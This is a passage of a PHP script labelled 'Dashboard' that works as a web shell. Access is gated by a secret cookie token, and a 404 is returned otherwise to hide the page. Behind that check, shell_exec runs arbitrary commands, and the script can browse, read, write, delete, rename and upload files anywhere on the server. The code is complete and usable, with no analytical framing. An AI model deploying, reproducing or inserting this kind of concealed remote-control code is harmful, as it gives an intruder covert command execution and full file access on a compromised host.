time() + 60 * 60 * 24 * COOKIE_DAYS,
'path' => '/',
'httponly' => true,
'samesite' => 'Strict',
'secure' => (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'),
]);
$cleanUrl = strtok($_SERVER['REQUEST_URI'], '?');
header('Location: ' . $cleanUrl, true, 302);
exit;
}
if (!hash_equals(SECRET_TOKEN, $cookieToken)) {
http_response_code(404);
exit;
}
session_start();
$action = $_POST['action'] ?? $_GET['action'] ?? '';
if ($action === 'exec') {
header('Content-Type: application/json');
$cmd = $_POST['cmd'] ?? '';
$cwd = $_POST['cwd'] ?? getcwd();
if (!is_dir($cwd)) $cwd = getcwd();
if (preg_match('/^\s*cd\s*(.*)/i', $cmd, $m)) {
$target = trim($m[1]);
if ($target === '' || $target === '~') {
$newDir = $_SERVER['HOME'] ?? getcwd();
} elseif ($target[0] === '/') {
$newDir = $target;
} else {
$newDir = realpath($cwd . '/' . $target);
}
if ($newDir && is_dir($newDir)) {
echo json_encode(['output' => '', 'cwd' => $newDir, 'ok' => true]);
} else {
echo json_encode(['output' => "cd: no such directory: $target", 'cwd' => $cwd, 'ok' => false]);
}
exit;
}
$escaped = escapeshellcmd($cmd);
$output = shell_exec("cd " . escapeshellarg($cwd) . " && $escaped 2>&1");
echo json_encode(['output' => $output ?? '', 'cwd' => $cwd, 'ok' => true]);
exit;
}
if ($action === 'list') {
header('Content-Type: application/json');
$dir = realpath($_POST['dir'] ?? getcwd());
if (!$dir || !is_dir($dir)) { echo json_encode(['error' => 'Invalid dir']); exit; }
$items = [];
foreach (scandir($dir) as $name) {
if ($name === '.') continue;
$full = $dir . '/' . $name;
$items[] = [
'name' => $name,
'isDir' => is_dir($full),
'size' => is_file($full) ? filesize($full) : null,
'mtime' => filemtime($full),
'perms' => substr(sprintf('%o', fileperms($full)), -4),
];
}
usort($items, fn($a,$b) => ($b['isDir'] <=> $a['isDir']) ?: strcasecmp($a['name'], $b['name']));
echo json_encode(['items' => $items, 'dir' => $dir]);
exit;
}
if ($action === 'read') {
header('Content-Type: application/json');
$file = realpath($_POST['file'] ?? '');
if (!$file || !is_file($file)) { echo json_encode(['error' => 'Not a file']); exit; }
if (filesize($file) > 512 * 1024) { echo json_encode(['error' => 'File too large (>512 KB)']); exit; }
echo json_encode(['content' => file_get_contents($file), 'file' => $file]);
exit;
}
if ($action === 'write') {
header('Content-Type: application/json');
$file = $_POST['file'] ?? '';
$content = $_POST['content'] ?? '';
if (!$file) { echo json_encode(['error' => 'No file specified']); exit; }
echo json_encode(['ok' => file_put_contents($file, $content) !== false]);
exit;
}
if ($action === 'delete') {
header('Content-Type: application/json');
$path = realpath($_POST['path'] ?? '');
if (!$path) { echo json_encode(['error' => 'Not found']); exit; }
echo json_encode(['ok' => is_dir($path) ? rmdir($path) : unlink($path)]);
exit;
}
if ($action === 'rename') {
header('Content-Type: application/json');
$from = $_POST['from'] ?? '';
$to = dirname($from) . '/' . basename($_POST['to'] ?? '');
echo json_encode(['ok' => rename($from, $to)]);
exit;
}
if ($action === 'new') {
header('Content-Type: application/json');
$path = ($_POST['dir'] ?? '') . '/' . ($_POST['name'] ?? '');
$ok = ($_POST['type'] === 'dir') ? mkdir($path, 0755, true) : file_put_contents($path, '') !== false;
echo json_encode(['ok' => $ok]);
exit;
}
if ($action === 'upload') {
header('Content-Type: application/json');
$dir = $_POST['dir'] ?? getcwd();
if (!isset($_FILES['file'])) { echo json_encode(['error' => 'No file']); exit; }
$dest = $dir . '/' . basename($_FILES['file']['name']);
echo json_encode(['ok' => move_uploaded_file($_FILES['file']['tmp_name'], $dest)]);
exit;
}
$startDir = getcwd();
?>
Dashboard
No file open
⌗
Select a file to edit